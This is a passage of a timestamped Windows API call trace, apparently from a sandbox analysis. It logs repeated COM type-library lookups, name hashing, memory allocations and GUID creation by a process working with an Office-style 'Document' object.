ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdc, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdd, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xde, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdf, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe9, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xea, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xeb, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xec, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.760] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xed, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xee, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xef, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf0, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf1, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf2, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf3, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf4, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf5, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf6, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf7, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf8, ppFuncDesc=0xb5690f3498, pDummy=0x6 | out: ppFuncDesc=0xb5690f3498, pDummy=0x6) returned 0x0 [0122.761] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0122.761] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f34b8 | out: ppvObject=0xb5690f34b8*=0x2764af387c8) returned 0x0 [0122.762] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f34c8 | out: pVarVal=0xb5690f34c8*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0122.762] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0122.762] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f34c0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0122.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f33d0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0122.762] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0122.762] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3470 | out: ppvObject=0xb5690f3470*=0x0) returned 0x80004002 [0122.762] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f3498, pDummy=0xb5690f3470 | out: ppTypeAttr=0xb5690f3498, pDummy=0xb5690f3470*=0x0) returned 0x0 [0122.762] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0122.762] IUnknown:Release (This=0x2764af38878) returned 0x2 [0122.762] IUnknown:Release (This=0x2764af38928) returned 0x5 [0122.762] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0122.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="01612782e8", cchWideChar=11, lpMultiByteStr=0xb5690f36e0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="01612782e8", lpUsedDefaultChar=0x0) returned 11 [0122.762] GetLocalTime (in: lpSystemTime=0xb5690f37c8 | out: lpSystemTime=0xb5690f37c8*(wYear=0x7e4, wMonth=0x8, wDayOfWeek=0x1, wDay=0x11, wHour=0xc, wMinute=0x3, wSecond=0x11, wMilliseconds=0x18a)) [0122.762] _ultow_s (in: _Value=0x61278305, _Buffer=0x2764b249c9c, _BufferCount=0x9, _Radix=16 | out: _Buffer="61278305") returned 0x0 [0122.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0961278305", cchWideChar=11, lpMultiByteStr=0xb5690f3720, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0961278305", lpUsedDefaultChar=0x0) returned 11 [0122.762] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x60) returned 0x2764ba24850 [0122.762] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764ba24850) returned 0x60 [0122.762] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ba24850) [0122.762] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764afa3540, cb=0x100) returned 0x2764b845890 [0122.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Hopertiol", cchWideChar=10, lpMultiByteStr=0xb5690f3560, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hopertiol", lpUsedDefaultChar=0x0) returned 10 [0122.762] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Hopertiol") returned 0x40a148 [0122.762] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0122.762] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f3268 | out: ppvObject=0xb5690f3268*=0x2764af387c8) returned 0x0 [0122.763] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f3278 | out: pVarVal=0xb5690f3278*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0122.763] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0122.763] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f3270, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f3290 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f3290*="㗠椏µ") returned 0x0 [0122.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f3180, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0122.763] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0122.763] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f3270, pDummy=0x0 | out: ppTypeAttr=0xb5690f3270, pDummy=0x0) returned 0x0 [0122.763] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0122.763] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f3278 | out: pVarVal=0xb5690f3278*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0122.763] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0122.763] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f3270, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0122.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f3180, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0122.763] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0122.763] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3220 | out: ppvObject=0xb5690f3220*=0x0) returned 0x80004002 [0122.763] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f3248, pDummy=0xb5690f3220 | out: ppTypeAttr=0xb5690f3248, pDummy=0xb5690f3220*=0x0) returned 0x0 [0122.763] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0122.763] IUnknown:Release (This=0x2764af38878) returned 0x2 [0122.763] IUnknown:Release (This=0x2764af38928) returned 0x5 [0122.763] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0122.763] IUnknown:AddRef (This=0x2764af38928) returned 0x6 [0122.763] IUnknown:Release (This=0x2764af38928) returned 0x5 [0122.763] CoCreateGuid (in: pguid=0xb5690f3700 | out: pguid=0xb5690f3700*(Data1=0x15d3b9ce, Data2=0xd309, Data3=0x4a40, Data4=([0]=0xbf, [1]=0xb2, [2]=0x10, [3]=0x9d, [4]=0x33, [5]=0x13, [6]=0x32, [7]=0x20))) returned 0x0 [0122.763] CoCreateGuid (in: pguid=0xb5690f3700 | out: pguid=0xb5690f3700*(Data1=0xf3edb631, Data2=0xa761, Data3=0x47b9, Data4=([0]=0xb9, [1]=0x3e, [2]=0xd9, [3]=0x9a, [4]=0x93, [5]=0x93, [6]=0xa3, [7]=0x76))) returned 0x0 [0122.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2764b9e0620 [0122.763] IUnknown:Release (This=0x2764af38928) returned 0x5 [0122.763] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3838 | out: ppvObject=0xb5690f3838*=0x0) returned 0x80004002 [0122.763] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2763c00e480 [0122.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b730940 [0122.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b732a40 [0122.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba54590 [0122.764] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba54a10 [0122.764] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3838 | out: ppvObject=0xb5690f3838*=0x0) returned 0x80004002 [0122.764] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38878, ppTypeAttr=0xb5690f29c8, pDummy=0x2764b407ef0 | out: ppTypeAttr=0xb5690f29c8, pDummy=0x2764b407ef0*=0x7) returned 0x0 [0122.764] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38878) returned 0x0 [0122.764] IUnknown:Release (This=0x2764af38878) returned 0x2 [0122.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x118) returned 0x2764b753860 [0122.998] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xe30) returned 0x2763bf0fcf0 [0122.998] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f29a8, pDummy=0xb5690f29e4 | out: ppTypeAttr=0xb5690f29a8, pDummy=0xb5690f29e4*=0xffffffff) returned 0x0 [0122.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x0, ppFuncDesc=0xb5690f29a0, pDummy=0x27644fa5cb0 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x27644fa5cb0*=0xe7edf3f0) returned 0x0 [0122.998] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x1, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.998] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x2, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.998] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x3, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.998] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.998] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x4, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x5, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x6, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x7, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x8, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x9, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xa, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xb, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xc, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f29a8, pDummy=0xb5690f29e4 | out: ppTypeAttr=0xb5690f29a8, pDummy=0xb5690f29e4*=0xffffffff) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x0, ppFuncDesc=0xb5690f29a0, pDummy=0x27644fa5cb0 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x27644fa5cb0*=0xe7edf3f0) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x1, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x2, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x3, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x4, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x5, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x6, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x7, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x8, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0122.999] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0122.999] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0x9, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0123.000] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0123.000] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xa, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0123.000] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0123.000] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xb, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0123.000] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0123.000] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38928, index=0xc, ppFuncDesc=0xb5690f29a0, pDummy=0x6 | out: ppFuncDesc=0xb5690f29a0, pDummy=0x6) returned 0x0 [0123.000] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38928) returned 0x0 [0123.000] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0123.000] IUnknown:Release (This=0x2764af38928) returned 0x5 [0123.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e1140 [0123.000] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9e19a0 [0123.000] 